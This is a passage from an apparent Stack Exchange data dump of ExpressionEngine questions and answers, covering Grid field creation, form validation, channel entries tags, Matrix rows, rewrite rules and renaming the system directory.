apply_settings function on line 606 of /system/expressionengine/fieldtypes/libraries/Grid_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to load and use the model, all you need to do in your model is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//load the Grid Model&#xA;ee()-&amp;gt;load-&amp;gt;model('grid_model');&#xA;&#xA;//create a new Grid field (PSEUDO)&#xA;$settings = array(&#xA;    'settings_for_grid' =&amp;gt; true&#xA;);&#xA;$new_field = ee()-&amp;gt;grid_model-&amp;gt;create_field($settings, 'grid');&#xA;&#xA;//create a column on the new grid&#xA;$col_id = 1;&#xA;$col_settings = array(&#xA;    'settings_for_column' =&amp;gt; true&#xA;);&#xA;$col_ids[] = ee()-&amp;gt;grid_model-&amp;gt;save_col_settings($col_settings, $col_id = 1, 'grid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems straight forward enougth, although determining your settings (for the columns look to like 645 ;) ) might be a pain it should work, after all this is how the admin CP creates the fields!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on mate!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;**Edit - Added Column creation code for comment below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the fieldtype's columns to our data table&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_handler($column['col_type']);&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;set_datatype(&#xA;    $col_id,&#xA;    json_decode($column['col_settings'], TRUE),&#xA;    array(),&#xA;    TRUE,&#xA;    FALSE,&#xA;    $this-&amp;gt;_get_ft_api_settings($column['field_id'], $content_type)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is fromthe Grid_Model's &lt;code&gt;save_col_settings&lt;/code&gt; function. After it creates the entry in the grid_columns table, where &lt;code&gt;$col_id&lt;/code&gt; is the returned column_id (iterate youd &lt;code&gt;$col_ids[]&lt;/code&gt;) it creates the &quot;fieldtype's column&quot; as they call it, which will hold the data value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'll be what your missing! Assuming you are indeed missing the columns in the data table.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-08T09:00:10.467" LastActivityDate="2015-04-08T09:00:10.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30907" PostTypeId="2" ParentId="30812" CreationDate="2015-04-07T10:38:08.843" Score="1" Body="&lt;p&gt;Have you had a look at the Grid Model that is in the system folder? Specifically /system/expressionengine/models/grid_model.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This model has methods for creating new Grid Fields (create_field on line 140), add and update columns (save_col_settings on lone 235) and saving data into the grid (save_field_data on line 689). Is this the API you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surfice to say, this Model shows you the code to create grids, columns and data. With a little searching you could probably find the code that calls these model functions for examples on how to use (appologies I don't have a test enviroment to post actual code for you atm) I suspect in the /system/expressionengine/fieldtypes/ft.grid.php is a good place to start for this. Another place is the apply_settings function on line 606 of /system/expressionengine/fieldtypes/libraries/Grid_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to load and use the model, all you need to do in your model is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//load the Grid Model&#xA;ee()-&amp;gt;load-&amp;gt;model('grid_model');&#xA;&#xA;//create a new Grid field (PSEUDO)&#xA;$settings = array(&#xA;    'settings_for_grid' =&amp;gt; true&#xA;);&#xA;$new_field = ee()-&amp;gt;grid_model-&amp;gt;create_field($settings, 'grid');&#xA;&#xA;//create a column on the new grid&#xA;$col_id = 1;&#xA;$col_settings = array(&#xA;    'settings_for_column' =&amp;gt; true&#xA;);&#xA;$col_ids[] = ee()-&amp;gt;grid_model-&amp;gt;save_col_settings($col_settings, $col_id = 1, 'grid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems straight forward enougth, although determining your settings (for the columns look to like 645 ;) ) might be a pain it should work, after all this is how the admin CP creates the fields!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on mate!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-07T10:38:08.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30908" PostTypeId="2" ParentId="30898" CreationDate="2015-04-07T10:45:32.000" Score="0" Body="&lt;p&gt;&lt;s&gt;Just FYI, if you give the channel:entries tag 'entry_id' parameter, without the order parameters, the output will be in the order specified in entry_id parameter. Just like the fixed_order parameter, which is the correct answer above.&lt;/s&gt;&#xA;See comments below, my bad, living in the past!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-07T11:20:38.850" LastActivityDate="2015-04-07T11:20:38.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30909" PostTypeId="2" ParentId="30892" CreationDate="2015-04-07T11:05:15.890" Score="1" Body="&lt;p&gt;Looks like you're looking for the Forn Validation library that is inherited from CodeIgnitor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you seem to be trying to do is set the validation rules at thes same time as setting up the form, whereas what you should do is set up the form as you do, but remove the $missing_field_validation setting as we don't need the validation rules yet! Instead we set up validation in the reciving action...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your recieving action, you can load the form validator as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('form_validation');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can iterate your $missing_fields/vars array, adding the required rules (any any others), finally running the form_validation to get a nice little boolean for validity. All in, something like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function process_update_form()&#xA;{&#xA;&#xA;    // get form data and update it&#xA;    if ($this-&amp;gt;EE-&amp;gt;security-&amp;gt;check_xid($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('XID')) == FALSE)&#xA;    {&#xA;        // No data insertion if a hash isn't found or is too old&#xA;        $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_backtrack());     &#xA;    }&#xA;&#xA;    //validate form, load the validator&#xA;    ee()-&amp;gt;load-&amp;gt;library('form_validation');&#xA;&#xA;    //add the rules&#xA;    for($i = 0; $i &amp;lt; count($fields); $i++)&#xA;    {&#xA;        ee()-&amp;gt;form_validation-&amp;gt;set_rules(&#xA;            $fields[$i]-&amp;gt;m_field_id, &#xA;            $fields[$i]-&amp;gt;m_field_label, &#xA;            'required'&#xA;        );&#xA;    }&#xA;&#xA;    //run validation&#xA;    if ( ee()form_validation-&amp;gt;run() === true ){&#xA;        //SUCCESS, Valid action here&#xA;    } else {&#xA;        //MASSIVE FAIL, Invalid action here&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last little note, you may not need to check the XID as you are doing if you use the form validator, as the validator will check this for you anyway (or rather the post router)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, I'd move away from trying to pass your validation rules along with the form, instead as you construct your form from the field array in the first place, use the same field array to drive your setting of the validation rules and play the CI way! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on (tick the answer box if this is of help to you!) :)&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-07T11:05:15.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30910" PostTypeId="2" ParentId="25526" CreationDate="2015-04-07T13:09:58.917" Score="0" Body="&lt;p&gt;From the sounds of it you are trying to use the URL to drive your entries tag (i.e. dynamic=&quot;yes&quot;) but its not playing fair. I am afraid I can't help with that in particular as I avoid this URl stuff like the plauge!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I ask, have you set up a custom route setting for the section on the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise another solution would be to pass the segment variable straight into your channel entries tag : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; url_title=&quot;{segment_3}&quot; channel=&quot;landing&quot; disable=&quot;member_data|pagination&quot;}&#xA;     {!-- do stuff --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-07T13:09:58.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30911" PostTypeId="2" ParentId="30670" CreationDate="2015-04-07T14:09:30.433" Score="0" Body="&lt;p&gt;I also having the same problem so we change plan grid to relationship of that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also that time having some problem need submit more then one entries submit at same time in sol space favorite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean to say adding multiple entries at a time in favorite list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one having any suggestion for that so please let us know.&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2015-04-07T14:09:30.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30912" PostTypeId="1" CreationDate="2015-04-07T14:18:59.807" Score="0" ViewCount="140" Body="&lt;p&gt;I can't seem to see a plugin for this, but it's functionality a client has asked for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want users to be able to customise the categories of posts that they can see. Let's say I have posts in the following categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cars &lt;/li&gt;&#xA;&lt;li&gt;Bikes&lt;/li&gt;&#xA;&lt;li&gt;Trucks&lt;/li&gt;&#xA;&lt;li&gt;Caravans&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want the user to select which categories they are interested in, ie. Cars and Bikes, and only show posts within those categories. So they can essentially filter the channel view.&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2016-06-14T12:37:28.317" Title="Allowing users to select which categories to view" Tags="|categories|filter|subscriptions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30913" PostTypeId="2" ParentId="30891" CreationDate="2015-04-07T14:48:33.403" Score="2" Body="&lt;p&gt;One really simple way to get around parse order is just to use an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/_rest&quot; ip_address=&quot;{ip_address}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template (&lt;em&gt;embeds/_rest&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;http://domain.com/{embed:ip_address}&quot; verb=&quot;get&quot; format=&quot;json&quot;}&#xA;&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embeds get a bad rap performance-wise, but as long as you aren't using them excessively or inside a foreach loop like a channel:entries tag pair then in my opinion they're a handy way to get around parse order.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-04-07T14:48:33.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30914" PostTypeId="2" ParentId="30879" CreationDate="2015-04-07T14:58:36.387" Score="1" Body="&lt;p&gt;Solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the subsequent pages I'm using a normal entries loop, and using stash and a math plugin to  calculate the offset&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;pagination&quot;}&#xA;     {exp:stash:set name=&quot;current_page&quot;}{exp:math formula='{current_page} - 1'}{/exp:stash:set}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tweets&quot; parse=&quot;inward&quot; dynamic=&quot;off&quot; disable=&quot;categories|member_data&quot; offset=&quot;{exp:stash:current_page}&quot; limit=&quot;1&quot;  paginate=&quot;bottom&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;} &#xA;  {tweet}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="730" LastActivityDate="2015-04-07T14:58:36.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30915" PostTypeId="2" ParentId="30693" CreationDate="2015-04-07T15:48:14.360" Score="1" Body="&lt;p&gt;It seems that you may have renamed the &lt;strong&gt;/system&lt;/strong&gt; directory and/or &lt;strong&gt;admin.php&lt;/strong&gt; to something else (which is a great idea). If so, you need to change the &lt;strong&gt;$system_path&lt;/strong&gt; variable to be updated in all three of these locations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php&#xA;/admin.php (or renamed version)&#xA;/system/index.php (or renamed version)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;If you renamed &lt;strong&gt;/system&lt;/strong&gt; to &lt;strong&gt;/cantguessthis&lt;/strong&gt; you would need to set the variable like so in &lt;strong&gt;/index.php&lt;/strong&gt; and &lt;strong&gt;/admin.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = './cantguessthis';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to set it like so under &lt;strong&gt;/cantguessthis/index.php&lt;/strong&gt; (this one actually doesn't change in this case):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you moved /system outside of the docroot (also a good idea), for instance into your home directory at &lt;strong&gt;/home/sburrell/expressionengine&lt;/strong&gt;, then you would need to set the full path in index.php and admin.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '/home/sburrell/expressionengine';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also need to make sure cp_url is set correctly in your config.php file. It should be set to the full &lt;strong&gt;URL&lt;/strong&gt; to &lt;strong&gt;/admin.php&lt;/strong&gt; OR &lt;strong&gt;/system/&lt;/strong&gt; OR &lt;strong&gt;/system/index.php&lt;/strong&gt;, depending on how you prefer to login, and you need to consistently use &lt;strong&gt;only one of those URLs to login&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend renaming admin.php to something unique to your site such as &lt;strong&gt;hammer_time.php&lt;/strong&gt;, then setting cp_url accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_url'] = &quot;http://example.com/hammer_time.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastActivityDate="2015-04-07T15:48:14.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30916" PostTypeId="2" ParentId="30885" CreationDate="2015-04-07T15:55:55.430" Score="1" Body="&lt;p&gt;I would recommend that you just let EE spit out the data and not draw the charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance you could create an EE template that produces dynamic JSON feed from your EE entries and then hands that data over to another script that parses the data and draws the chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had good success using &lt;a href=&quot;https://developers.google.com/chart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Charts&lt;/a&gt; for this but there are many others to choose from, see related question: &lt;a href=&quot;https://stackoverflow.com/questions/119969/javascript-chart-library&quot;&gt;https://stackoverflow.com/questions/119969/javascript-chart-library&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-04-07T15:55:55.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30917" PostTypeId="2" ParentId="30912" CreationDate="2015-04-07T16:40:00.563" Score="0" Body="&lt;p&gt;You can chain category ids and pass them into the &lt;code&gt;category=&quot;1|2|3&quot;&lt;/code&gt; parameter. Docs &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;exp:channel:categories&lt;/code&gt; tag to output a list of the categories with checkboxes, and use jQuery to grab the checked category ids and put them into a segment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;YOUR_CHANNEL&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; class=&quot;category&quot; category-id=&quot;{category_id}&quot; /&amp;gt; {category_name}&#xA;    &amp;lt;/p&amp;gt;&#xA;{/exp:channel:categories}&#xA;&amp;lt;a onclick=&quot;filter();&quot;&amp;gt;Filter Entries&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript function, replace with your template group and template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function filter(){&#xA;    var categories = new Array();&#xA;    $(&quot;.category:checked&quot;).each(function(){&#xA;        categories.push($(this).attr('category-id'));&#xA;    });&#xA;    categories = categories.join(&quot;|&quot;);&#xA;    window.location = &quot;{path='TEMPLATE_GROUP/TEMPLATE'}/&quot; + categories;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your exp:channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;YOUR_CHANNEL&quot; category=&quot;{segment_3}&quot;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-07T16:40:00.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30918" PostTypeId="1" CreationDate="2015-04-07T18:16:13.833" Score="0" ViewCount="339" Body="&lt;p&gt;I have a &lt;strong&gt;Facilities&lt;/strong&gt; channel and a &lt;strong&gt;Jobs&lt;/strong&gt; channel. The Facilities entries have multiple fields with facility info. The Jobs channel has a title field and a relationship field that allows a user to select which facility the job belongs with. In my template I want to list the job entries, divided by state (states are assigned to entries using categories, but I'm trying to simplify by having a channel entry that only displays one category for each state ). There are 5 states total with facilities so there are actually 5 channel entry tags in the template, I have posted 2 below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=&quot;facilities&quot; disable=&quot;member_data|category_fields&quot; category=&quot;1&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            {parents}&#xA;            {if count == &quot;1&quot;}&#xA;            &amp;lt;h2&amp;gt;Iowa&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;state_wrap&quot;&amp;gt;&#xA;            {/if}&#xA;                  {if parents:count == &quot;1&quot;}&#xA;                    &amp;lt;article class=&quot;job_summary&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; - &amp;lt;span class=&quot;city&quot;&amp;gt;{facility_contact_info limit=&quot;1&quot;}{facility_contact_info:address}{city}{/facility_contact_info:address}{/facility_contact_info}&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;span class=&quot;accent&quot;&amp;gt;Openings:&amp;lt;/span&amp;gt; &amp;amp;nbsp;&#xA;                  {/if}&#xA;&#xA;                       {parents:title}{if parents:count &amp;gt;= &quot;1&quot; AND parents:count != parents:total_results},&amp;amp;nbsp;{/if}&#xA;&#xA;                  {if parents:count == parents:total_results}&#xA;                        &amp;lt;/h2&amp;gt;&#xA;                       {facility_contact_info}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{facility_contact_info:joblink}&quot;&amp;gt;Apple Online &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/facility_contact_info}&#xA;                    &amp;lt;/article&amp;gt;&#xA;                  {/if}&#xA;&#xA;            {if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;            {/parents}&#xA;&#xA;            {/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;            {exp:channel:entries channel=&quot;facilities&quot; disable=&quot;member_data|category_fields&quot; category=&quot;2&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            {parents}&#xA;            {if count == &quot;1&quot;}&#xA;            &amp;lt;h2&amp;gt;Missouri&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;state_wrap&quot;&amp;gt;&#xA;            {/if}&#xA;                  {if parents:count == &quot;1&quot;}&#xA;                    &amp;lt;article class=&quot;job_summary&quot;&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; - &amp;lt;span class=&quot;city&quot;&amp;gt;{facility_contact_info limit=&quot;1&quot;}{facility_contact_info:address}{city}{/facility_contact_info:address}{/facility_contact_info}&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;span class=&quot;accent&quot;&amp;gt;Openings:&amp;lt;/span&amp;gt; &amp;amp;nbsp;&#xA;                  {/if}&#xA;&#xA;                       {parents:title}{if parents:count &amp;gt;= &quot;1&quot; AND parents:count != parents:total_results},&amp;amp;nbsp;{/if}&#xA;&#xA;                  {if parents:count == parents:total_results}&#xA;                        &amp;lt;/h2&amp;gt;&#xA;                       {facility_contact_info}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{facility_contact_info:joblink}&quot;&amp;gt;Apple Online &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/facility_contact_info}&#xA;                    &amp;lt;/article&amp;gt;&#xA;                  {/if}&#xA;&#xA;            {if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;            {/parents}&#xA;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The part that is proving difficult is getting  the conditionals setup correctly so that for each state, only if there are job postings(relationship field), it will put the name of the state in the H2 tag, then open a DIV with class &quot;state_wrap&quot;. So then the parents tag runs and displays all the jobs for each facility in that state. Once that state is done, it's supposed to close the &quot;state_wrap&quot; DIV. I've tried many different ways of getting this to output correctly, but it's just not working. Is there any way for me to modify my current template code to work? Or another way to display the entries that will work? Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really just need to detect if there are any parents outside of the {parents} tag, I think I can work my conditionals to function correctly then. I tried something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{parents:job_facility:total_results}&quot; &amp;gt; 0}&#xA;{parents}&#xA;...&#xA;{/parents}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a PHP error with quotes and brackets around parents:job_facility:total_results and get no results without them. Should this conditional work? I'm using EE v2.9.0, maybe this is a bug?&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2015-04-08T13:59:05.277" LastActivityDate="2015-04-08T13:59:05.277" Title="Relationships and conditional problems" Tags="|relationships|conditionals|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30919" PostTypeId="1" AcceptedAnswerId="30920" CreationDate="2015-04-07T21:21:29.423" Score="0" ViewCount="153" Body="&lt;p&gt;Matrix 2.5 and 2.6 on ExpressionEngine 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The :total_rows property doesn't work when there are no rows. It works fine when there are rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below isn't actual code, but it's showing the gist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;regions&quot; url_title=&quot;[url_title]&quot;}&#xA;    {if &quot;{social_networks:total_rows}&quot; &amp;gt; 0}&#xA;        {!--  Do the things --}&#xA;    {if:else}&#xA;        {!--  Don't do the things --}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputting {social_networks:total_rows} is an empty string (which I can't even match against with a conditional) until there's a Matrix row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else noticed this? I don't want to have to start pulling the plugin apart.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2015-04-08T06:38:07.300" Title="ExpressionEngine Matrix :total_rows doesn't work when no rows" Tags="|matrix|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30920" PostTypeId="2" ParentId="30919" CreationDate="2015-04-07T21:56:00.677" Score="1" Body="&lt;p&gt;I believe when there are zero rows the matrix variable just returns false, so you can just use it in the conditional like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;regions&quot; url_title=&quot;[url_title]&quot;}&#xA;    {if social_networks}&#xA;        {!--  Do the things --}&#xA;    {if:else}&#xA;        {!--  Don't do the things --}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-07T21:56:00.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30921" PostTypeId="2" ParentId="30919" CreationDate="2015-04-08T06:38:07.300" Score="1" Body="&lt;p&gt;{matrix:total_rows} can't work if there are no rows in the field simply because EE doesn't parse any field tags that don't have any actual data. Matrix never even gets called and the tag gets replaced with nothing.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2015-04-08T06:38:07.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30922" PostTypeId="2" ParentId="28871" CreationDate="2015-04-08T06:41:45.307" Score="1" Body="&lt;p&gt;The documented approach to running EE from a subdirectory rather than the root, is to just remove the slash preceding &lt;code&gt;index.php&lt;/code&gt; like so…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php/$1 [L]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, the documentation notes you might have to specify the sub-directory depending on your server config, so try this…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule (.*?)index\.php/*(.*) EE_subdirectory/$1$2 [R=301,NE,L]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m also going to note that I suggest these rules should be in your (as you call it) &lt;em&gt;WP .htaccess&lt;/em&gt; file, i.e. the one .htaccess file at the web root.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2015-04-08T06:41:45.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30923" PostTypeId="1" AcceptedAnswerId="30931" CreationDate="2015-04-08T08:25:18.120" Score="0" ViewCount="322" Body="&lt;p&gt;I would like to get the last entry of a channel from each month.&#xA;is there any way to do it with channel entry module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&#xA;2015, 01 : last entry is &quot;hello 1&quot;;&#xA;2015, 02 : last entry is &quot;hello 2&quot;;&#xA;2015, 03 : last entry is &quot;hell 3&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it gives me a hard time :(&lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2015-04-08T17:49:48.580" Title="How to get a entry from each month" Tags="|channel-entries|channel|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30926" PostTypeId="2" ParentId="30905" CreationDate="2015-04-08T12:02:32.410" Score="1" Body="&lt;p&gt;Please note this is &lt;strong&gt;UNTESTED&lt;/strong&gt; but written from the actual code files so should play fair...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//load up the grid model for later use&#xA;ee()-&amp;gt;load-&amp;gt;model('grid_model');&#xA;&#xA;//first we create our field using the channel_field_api (your code)&#xA;$floor_plans_field = array(&#xA;    'field_name' =&amp;gt; 'floor_plans',&#xA;    'field_label' =&amp;gt; 'Floor Plans',&#xA;    'field_type' =&amp;gt; 'grid',&#xA;    'field_order' =&amp;gt; 30,&#xA;    'field_instructions' =&amp;gt; 'The floor plans for the property',&#xA;    'field_required' =&amp;gt; 'n',&#xA;    'field_search' =&amp;gt; 'n',&#xA;    'field_is_hidden' =&amp;gt; 'n',&#xA;);&#xA;&#xA;$field = array_merge($floor_plans_field, array(&#xA;    'group_id' =&amp;gt; $group_id,&#xA;    'site_id' =&amp;gt; 1,&#xA;));&#xA;&#xA;$field_id = $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;update_field($field);&#xA;&#xA;//now we have field ID we create our data table using the grid model&#xA;if ( ee()-&amp;gt;grid_model-&amp;gt;create_field($field_id, 'grid') == false ) {&#xA;    //handle error here&#xA;}&#xA;&#xA;//next we add some columns (one in this case) again with the grid 